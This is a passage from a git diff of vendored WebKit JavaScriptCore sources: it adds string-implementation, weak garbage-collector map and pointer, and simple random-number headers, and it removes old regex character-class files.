+        , m_hash(0)
+    {
+        hash();
+    }
+
+    // Create a normal string with internal storage (BufferInternal)
+    UStringImpl(unsigned length)
+        : UStringOrRopeImpl(length, BufferInternal)
+        , m_data(reinterpret_cast<UChar*>(this + 1))
+        , m_buffer(0)
+        , m_hash(0)
+    {
+        ASSERT(m_data);
+        ASSERT(m_length);
+    }
+
+    // Create a UStringImpl adopting ownership of the provided buffer (BufferOwned)
+    UStringImpl(const UChar* characters, unsigned length)
+        : UStringOrRopeImpl(length, BufferOwned)
+        , m_data(characters)
+        , m_buffer(0)
+        , m_hash(0)
+    {
+        ASSERT(m_data);
+        ASSERT(m_length);
+    }
+
+    // Used to create new strings that are a substring of an existing UStringImpl (BufferSubstring)
+    UStringImpl(const UChar* characters, unsigned length, PassRefPtr<UStringImpl> base)
+        : UStringOrRopeImpl(length, BufferSubstring)
+        , m_data(characters)
+        , m_substringBuffer(base.releaseRef())
+        , m_hash(0)
+    {
+        ASSERT(m_data);
+        ASSERT(m_length);
+        ASSERT(m_substringBuffer->bufferOwnership() != BufferSubstring);
+    }
+
+    // Used to construct new strings sharing an existing SharedUChar (BufferShared)
+    UStringImpl(const UChar* characters, unsigned length, PassRefPtr<SharedUChar> sharedBuffer)
+        : UStringOrRopeImpl(length, BufferShared)
+        , m_data(characters)
+        , m_sharedBuffer(sharedBuffer.releaseRef())
+        , m_hash(0)
+    {
+        ASSERT(m_data);
+        ASSERT(m_length);
+    }
+
+    // For use only by Identifier's XXXTranslator helpers.
+    void setHash(unsigned hash)
+    {
+        ASSERT(!isStatic());
+        ASSERT(!m_hash);
+        ASSERT(hash == computeHash(m_data, m_length));
+        m_hash = hash;
+    }
+
+public:
+    ~UStringImpl();
+
+    static PassRefPtr<UStringImpl> create(const UChar*, unsigned length);
+    static PassRefPtr<UStringImpl> create(const char*, unsigned length);
+    static PassRefPtr<UStringImpl> create(const char*);
+    static PassRefPtr<UStringImpl> create(PassRefPtr<SharedUChar>, const UChar*, unsigned length);
+    static PassRefPtr<UStringImpl> create(PassRefPtr<UStringImpl> rep, unsigned offset, unsigned length)
+    {
+        ASSERT(rep);
+        ASSERT(length <= rep->length());
+
+        if (!length)
+            return empty();
+
+        UStringImpl* ownerRep = (rep->bufferOwnership() == BufferSubstring) ? rep->m_substringBuffer : rep.get();
+        return adoptRef(new UStringImpl(rep->m_data + offset, length, ownerRep));
+    }
+
+    static PassRefPtr<UStringImpl> createUninitialized(unsigned length, UChar*& output);
+    static PassRefPtr<UStringImpl> tryCreateUninitialized(unsigned length, UChar*& output)
+    {
+        if (!length) {
+            output = 0;
+            return empty();
+        }
+
+        if (length > ((std::numeric_limits<size_t>::max() - sizeof(UStringImpl)) / sizeof(UChar)))
+            return 0;
+        UStringImpl* resultImpl;
+        if (!tryFastMalloc(sizeof(UChar) * length + sizeof(UStringImpl)).getValue(resultImpl))
+            return 0;
+        output = reinterpret_cast<UChar*>(resultImpl + 1);
+        return adoptRef(new(resultImpl) UStringImpl(length));
+    }
+
+    template<size_t inlineCapacity>
+    static PassRefPtr<UStringImpl> adopt(Vector<UChar, inlineCapacity>& vector)
+    {
+        if (size_t size = vector.size()) {
+            ASSERT(vector.data());
+            return adoptRef(new UStringImpl(vector.releaseBuffer(), size));
+        }
+        return empty();
+    }
+
+    SharedUChar* sharedBuffer();
+    const UChar* characters() const { return m_data; }
+
+    size_t cost()
+    {
+        // For substrings, return the cost of the base string.
+        if (bufferOwnership() == BufferSubstring)
+            return m_substringBuffer->cost();
+
+        if (m_refCountAndFlags & s_refCountFlagShouldReportedCost) {
+            m_refCountAndFlags &= ~s_refCountFlagShouldReportedCost;
+            return m_length;
+        }
+        return 0;
+    }
+
+    bool isIdentifier() const { return m_refCountAndFlags & s_refCountFlagIsIdentifier; }
+    void setIsIdentifier(bool isIdentifier)
+    {
+        ASSERT(!isStatic());
+        if (isIdentifier)
+            m_refCountAndFlags |= s_refCountFlagIsIdentifier;
+        else
+            m_refCountAndFlags &= ~s_refCountFlagIsIdentifier;
+    }
+
+    unsigned hash() const { if (!m_hash) m_hash = computeHash(m_data, m_length); return m_hash; }
+    unsigned existingHash() const { ASSERT(m_hash); return m_hash; }
+    static unsigned computeHash(const UChar* data, unsigned length) { return WTF::stringHash(data, length); }
+    static unsigned computeHash(const char* data, unsigned length) { return WTF::stringHash(data, length); }
+    static unsigned computeHash(const char* data) { return WTF::stringHash(data); }
+
+    ALWAYS_INLINE void deref() { m_refCountAndFlags -= s_refCountIncrement; if (!(m_refCountAndFlags & (s_refCountMask | s_refCountFlagStatic))) delete this; }
+
+    static UStringImpl* empty();
+
+    static void copyChars(UChar* destination, const UChar* source, unsigned numCharacters)
+    {
+        if (numCharacters <= s_copyCharsInlineCutOff) {
+            for (unsigned i = 0; i < numCharacters; ++i)
+                destination[i] = source[i];
+        } else
+            memcpy(destination, source, numCharacters * sizeof(UChar));
+    }
+
+private:
+    // This number must be at least 2 to avoid sharing empty, null as well as 1 character strings from SmallStrings.
+    static const unsigned s_copyCharsInlineCutOff = 20;
+
+    BufferOwnership bufferOwnership() const { return static_cast<BufferOwnership>(m_refCountAndFlags & s_refCountMaskBufferOwnership); }
+    bool isStatic() const { return m_refCountAndFlags & s_refCountFlagStatic; }
+
+    const UChar* m_data;
+    union {
+        void* m_buffer;
+        UStringImpl* m_substringBuffer;
+        SharedUChar* m_sharedBuffer;
+    };
+    mutable unsigned m_hash;
+};
+
+class URopeImpl : public UStringOrRopeImpl {
+    friend class UStringOrRopeImpl;
+public:
+    // A URopeImpl is composed from a set of smaller strings called Fibers.
+    // Each Fiber in a rope is either UStringImpl or another URopeImpl.
+    typedef UStringOrRopeImpl* Fiber;
+
+    // Creates a URopeImpl comprising of 'fiberCount' Fibers.
+    // The URopeImpl is constructed in an uninitialized state - initialize must be called for each Fiber in the URopeImpl.
+    static PassRefPtr<URopeImpl> tryCreateUninitialized(unsigned fiberCount)
+    {
+        void* allocation;
+        if (tryFastMalloc(sizeof(URopeImpl) + (fiberCount - 1) * sizeof(Fiber)).getValue(allocation))
+            return adoptRef(new (allocation) URopeImpl(fiberCount));
+        return 0;
+    }
+
+    void initializeFiber(unsigned &index, Fiber fiber)
+    {
+        m_fibers[index++] = fiber;
+        fiber->ref();
+        m_length += fiber->length();
+    }
+
+    unsigned fiberCount() { return m_fiberCount; }
+    Fiber& fibers(unsigned index) { return m_fibers[index]; }
+
+    ALWAYS_INLINE void deref() { m_refCountAndFlags -= s_refCountIncrement; if (!(m_refCountAndFlags & s_refCountMask)) destructNonRecursive(); }
+
+private:
+    URopeImpl(unsigned fiberCount) : UStringOrRopeImpl(ConstructRope), m_fiberCount(fiberCount) {}
+
+    void destructNonRecursive();
+    void derefFibersNonRecursive(Vector<URopeImpl*, 32>& workQueue);
+
+    bool hasOneRef() { return (m_refCountAndFlags & s_refCountMask) == s_refCountIncrement; }
+
+    unsigned m_fiberCount;
+    Fiber m_fibers[1];
+};
+
+inline void UStringOrRopeImpl::deref()
+{
+    if (isRope())
+        static_cast<URopeImpl*>(this)->deref();
+    else
+        static_cast<UStringImpl*>(this)->deref();
+}
+
+bool equal(const UStringImpl*, const UStringImpl*);
+
+}
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/WeakGCMap.h b/src/3rdparty/webkit/JavaScriptCore/runtime/WeakGCMap.h
new file mode 100644
index 0000000..39a91c5
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/WeakGCMap.h
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
+ * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+ * THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef WeakGCMap_h
+#define WeakGCMap_h
+
+#include "Collector.h"
+#include <wtf/HashMap.h>
+
+namespace JSC {
+
+class JSCell;
+
+// A HashMap whose get() function returns emptyValue() for cells awaiting destruction.
+template<typename KeyType, typename MappedType>
+class WeakGCMap : public FastAllocBase {
+    /*
+    Invariants:
+        * A value enters the WeakGCMap marked. (Guaranteed by set().)
+        * A value that becomes unmarked leaves the WeakGCMap before being recycled. (Guaranteed by the value's destructor removing it from the WeakGCMap.)
+        * A value that becomes unmarked leaves the WeakGCMap before becoming marked again. (Guaranteed by all destructors running before the mark phase begins.)
+        * During the mark phase, all values in the WeakGCMap are valid. (Guaranteed by all destructors running before the mark phase begins.)
+    */
+
+public:
+    typedef typename HashMap<KeyType, MappedType>::iterator iterator;
+    typedef typename HashMap<KeyType, MappedType>::const_iterator const_iterator;
+    
+    bool isEmpty() { return m_map.isEmpty(); }
+
+    MappedType get(const KeyType& key) const;
+    pair<iterator, bool> set(const KeyType&, const MappedType&); 
+    MappedType take(const KeyType& key);
+
+    // These unchecked functions provide access to a value even if the value's
+    // mark bit is not set. This is used, among other things, to retrieve values
+    // during the GC mark phase, which begins by clearing all mark bits.
+
+    MappedType uncheckedGet(const KeyType& key) const { return m_map.get(key); }
+    bool uncheckedRemove(const KeyType&, const MappedType&);
+
+    iterator uncheckedBegin() { return m_map.begin(); }
+    iterator uncheckedEnd() { return m_map.end(); }
+
+    const_iterator uncheckedBegin() const { return m_map.begin(); }
+    const_iterator uncheckedEnd() const { return m_map.end(); }
+
+private:
+    HashMap<KeyType, MappedType> m_map;
+};
+
+template<typename KeyType, typename MappedType>
+inline MappedType WeakGCMap<KeyType, MappedType>::get(const KeyType& key) const
+{
+    MappedType result = m_map.get(key);
+    if (result == HashTraits<MappedType>::emptyValue())
+        return result;
+    if (!Heap::isCellMarked(result))
+        return HashTraits<MappedType>::emptyValue();
+    return result;
+}
+
+template<typename KeyType, typename MappedType>
+MappedType WeakGCMap<KeyType, MappedType>::take(const KeyType& key)
+{
+    MappedType result = m_map.take(key);
+    if (result == HashTraits<MappedType>::emptyValue())
+        return result;
+    if (!Heap::isCellMarked(result))
+        return HashTraits<MappedType>::emptyValue();
+    return result;
+}
+
+template<typename KeyType, typename MappedType>
+pair<typename HashMap<KeyType, MappedType>::iterator, bool> WeakGCMap<KeyType, MappedType>::set(const KeyType& key, const MappedType& value)
+{
+    Heap::markCell(value); // If value is newly allocated, it's not marked, so mark it now.
+    pair<iterator, bool> result = m_map.add(key, value);
+    if (!result.second) { // pre-existing entry
+        result.second = !Heap::isCellMarked(result.first->second);
+        result.first->second = value;
+    }
+    return result;
+}
+
+template<typename KeyType, typename MappedType>
+bool WeakGCMap<KeyType, MappedType>::uncheckedRemove(const KeyType& key, const MappedType& value)
+{
+    iterator it = m_map.find(key);
+    if (it == m_map.end())
+        return false;
+    if (it->second != value)
+        return false;
+    m_map.remove(it);
+    return true;
+}
+
+} // namespace JSC
+
+#endif // WeakGCMap_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/WeakGCPtr.h b/src/3rdparty/webkit/JavaScriptCore/runtime/WeakGCPtr.h
new file mode 100644
index 0000000..5f58374
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/WeakGCPtr.h
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
+ * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+ * THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef WeakGCPtr_h
+#define WeakGCPtr_h
+
+#include "Collector.h"
+#include <wtf/Noncopyable.h>
+
+namespace JSC {
+
+// A smart pointer whose get() function returns 0 for cells awaiting destruction.
+template <typename T> class WeakGCPtr : Noncopyable {
+public:
+    WeakGCPtr() : m_ptr(0) { }
+    WeakGCPtr(T* ptr) { assign(ptr); }
+
+    T* get() const
+    {
+        if (!m_ptr || !Heap::isCellMarked(m_ptr))
+            return 0;
+        return m_ptr;
+    }
+    
+    void clear(JSCell* ptr)
+    {
+        if (ptr == m_ptr)
+            m_ptr = 0;
+    }
+
+    T& operator*() const { return *get(); }
+    T* operator->() const { return get(); }
+    
+    bool operator!() const { return !get(); }
+
+    // This conversion operator allows implicit conversion to bool but not to other integer types.
+#if COMPILER(WINSCW)
+    operator bool() const { return m_ptr; }
+#else
+    typedef T* WeakGCPtr::*UnspecifiedBoolType;
+    operator UnspecifiedBoolType() const { return get() ? &WeakGCPtr::m_ptr : 0; }
+#endif
+
+    WeakGCPtr& operator=(T*);
+
+#if !ASSERT_DISABLED
+    bool hasDeadObject() const { return !!m_ptr; }
+#endif
+
+private:
+    void assign(T* ptr)
+    {
+        if (ptr)
+            Heap::markCell(ptr);
+        m_ptr = ptr;
+    }
+
+    T* m_ptr;
+};
+
+template <typename T> inline WeakGCPtr<T>& WeakGCPtr<T>::operator=(T* optr)
+{
+    assign(optr);
+    return *this;
+}
+
+template <typename T, typename U> inline bool operator==(const WeakGCPtr<T>& a, const WeakGCPtr<U>& b)
+{ 
+    return a.get() == b.get(); 
+}
+
+template <typename T, typename U> inline bool operator==(const WeakGCPtr<T>& a, U* b)
+{ 
+    return a.get() == b; 
+}
+
+template <typename T, typename U> inline bool operator==(T* a, const WeakGCPtr<U>& b) 
+{
+    return a == b.get(); 
+}
+
+template <typename T, typename U> inline bool operator!=(const WeakGCPtr<T>& a, const WeakGCPtr<U>& b)
+{ 
+    return a.get() != b.get(); 
+}
+
+template <typename T, typename U> inline bool operator!=(const WeakGCPtr<T>& a, U* b)
+{
+    return a.get() != b; 
+}
+
+template <typename T, typename U> inline bool operator!=(T* a, const WeakGCPtr<U>& b)
+{ 
+    return a != b.get(); 
+}
+
+template <typename T, typename U> inline WeakGCPtr<T> static_pointer_cast(const WeakGCPtr<U>& p)
+{ 
+    return WeakGCPtr<T>(static_cast<T*>(p.get())); 
+}
+
+template <typename T, typename U> inline WeakGCPtr<T> const_pointer_cast(const WeakGCPtr<U>& p)
+{ 
+    return WeakGCPtr<T>(const_cast<T*>(p.get())); 
+}
+
+template <typename T> inline T* getPtr(const WeakGCPtr<T>& p)
+{
+    return p.get();
+}
+
+} // namespace JSC
+
+#endif // WeakGCPtr_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/WeakRandom.h b/src/3rdparty/webkit/JavaScriptCore/runtime/WeakRandom.h
new file mode 100644
index 0000000..ff3995e
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/WeakRandom.h
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ *
+ *
+ * Copyright (c) 2009 Ian C. Bullard
+ * 
+ * Permission is hereby granted, free of charge, to any person
+ * obtaining a copy of this software and associated documentation
+ * files (the "Software"), to deal in the Software without
+ * restriction, including without limitation the rights to use,
+ * copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following
+ * conditions:
+ * 
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+ * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+ * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+ * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+ * OTHER DEALINGS IN THE SOFTWARE.
+ */
+
+#ifndef WeakRandom_h
+#define WeakRandom_h
+
+#include <limits.h>
+#include <wtf/StdLibExtras.h>
+
+namespace JSC {
+
+class WeakRandom {
+public:
+    WeakRandom(unsigned seed)
+        : m_low(seed ^ 0x49616E42)
+        , m_high(seed)
+    {
+    }
+
+    double get()
+    {
+        return advance() / (UINT_MAX + 1.0);
+    }
+
+private:
+    unsigned advance()
+    {
+        m_high = (m_high << 16) + (m_high >> 16);
+        m_high += m_low;
+        m_low += m_high;
+        return m_high;
+    }
+
+    unsigned m_low;
+    unsigned m_high;
+};
+
+} // namespace JSC
+
+#endif // WeakRandom_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClass.cpp b/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClass.cpp
deleted file mode 100644
index e3f12f2..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClass.cpp
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "CharacterClass.h"
-
-#if ENABLE(WREC)
-
-using namespace WTF;
-
-namespace JSC { namespace WREC {
-
-const CharacterClass& CharacterClass::newline() {
-    static const UChar asciiNewlines[2] = { '\n', '\r' };
-    static const UChar unicodeNewlines[2] = { 0x2028, 0x2029 };
-    static const CharacterClass charClass = {
-        asciiNewlines, 2,
-        0, 0,
-        unicodeNewlines, 2,
-        0, 0,
-    };
-    
-    return charClass;
-}
-
-const CharacterClass& CharacterClass::digits() {
-    static const CharacterRange asciiDigitsRange[1] = { { '0', '9' } };
-    static const CharacterClass charClass = {
-        0, 0,
-        asciiDigitsRange, 1,
-        0, 0,
-        0, 0,
-    };
-    
-    return charClass;
-}
-
-const CharacterClass& CharacterClass::spaces() {
-    static const UChar asciiSpaces[1] = { ' ' };
-    static const CharacterRange asciiSpacesRange[1] = { { '\t', '\r' } };
-    static const UChar unicodeSpaces[8] = { 0x00a0, 0x1680, 0x180e, 0x2028, 0x2029, 0x202f, 0x205f, 0x3000 };
-    static const CharacterRange unicodeSpacesRange[1] = { { 0x2000, 0x200a } };
-    static const CharacterClass charClass = {
-        asciiSpaces, 1,
-        asciiSpacesRange, 1,
-        unicodeSpaces, 8,
-        unicodeSpacesRange, 1,
-    };
-    
-    return charClass;
-}
-
-const CharacterClass& CharacterClass::wordchar() {
-    static const UChar asciiWordchar[1] = { '_' };
-    static const CharacterRange asciiWordcharRange[3] = { { '0', '9' }, { 'A', 'Z' }, { 'a', 'z' } };
-    static const CharacterClass charClass = {
-        asciiWordchar, 1,
-        asciiWordcharRange, 3,
-        0, 0,
-        0, 0,
-    };
-    
-    return charClass;
-}
-
-const CharacterClass& CharacterClass::nondigits() {
-    static const CharacterRange asciiNondigitsRange[2] = { { 0, '0' - 1 }, { '9' + 1, 0x7f } };
-    static const CharacterRange unicodeNondigitsRange[1] = { { 0x0080, 0xffff } };
-    static const CharacterClass charClass = {
-        0, 0,
-        asciiNondigitsRange, 2,
-        0, 0,
-        unicodeNondigitsRange, 1,
-    };
-    
-    return charClass;
-}
-
-const CharacterClass& CharacterClass::nonspaces() {
-    static const CharacterRange asciiNonspacesRange[3] = { { 0, '\t' - 1 }, { '\r' + 1, ' ' - 1 }, { ' ' + 1, 0x7f } }; 
-    static const CharacterRange unicodeNonspacesRange[9] = {
-        { 0x0080, 0x009f },
-        { 0x00a1, 0x167f },
-        { 0x1681, 0x180d },
-        { 0x180f, 0x1fff },
-        { 0x200b, 0x2027 },
-        { 0x202a, 0x202e },
-        { 0x2030, 0x205e },
-        { 0x2060, 0x2fff },
-        { 0x3001, 0xffff }
-    }; 
-    static const CharacterClass charClass = {
-        0, 0,
-        asciiNonspacesRange, 3,
-        0, 0,
-        unicodeNonspacesRange, 9,
-    };
-    
-    return charClass;
-}
-
-const CharacterClass& CharacterClass::nonwordchar() {
-    static const UChar asciiNonwordchar[1] = { '`' };
-    static const CharacterRange asciiNonwordcharRange[4] = { { 0, '0' - 1 }, { '9' + 1, 'A' - 1 }, { 'Z' + 1, '_' - 1 }, { 'z' + 1, 0x7f } };
-    static const CharacterRange unicodeNonwordcharRange[1] = { { 0x0080, 0xffff } };
-    static const CharacterClass charClass = {
-        asciiNonwordchar, 1,
-        asciiNonwordcharRange, 4,
-        0, 0,
-        unicodeNonwordcharRange, 1,
-    };
-    
-    return charClass;
-}
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClass.h b/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClass.h
deleted file mode 100644
index 8a9d2fc..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClass.h
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef CharacterClass_h
-#define CharacterClass_h
-
-#include <wtf/Platform.h>
-
-#if ENABLE(WREC)
-
-#include <wtf/unicode/Unicode.h>
-
-namespace JSC { namespace WREC {
-
-    struct CharacterRange {
-        UChar begin;
-        UChar end;
-    };
-
-    struct CharacterClass {
-        static const CharacterClass& newline();
-        static const CharacterClass& digits();
-        static const CharacterClass& spaces();
-        static const CharacterClass& wordchar();
-        static const CharacterClass& nondigits();
-        static const CharacterClass& nonspaces();
-        static const CharacterClass& nonwordchar();
-
-        const UChar* matches;
-        unsigned numMatches;
-
-        const CharacterRange* ranges;
-        unsigned numRanges;
-
-        const UChar* matchesUnicode;
-        unsigned numMatchesUnicode;
-
-        const CharacterRange* rangesUnicode;
-        unsigned numRangesUnicode;
-    };
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
-
-#endif // CharacterClass_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClassConstructor.cpp b/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClassConstructor.cpp
deleted file mode 100644
index 06f4262..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClassConstructor.cpp
+++ /dev/null
@@ -1,257 +0,0 @@
-/*
- * Copyright (C) 2008, 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
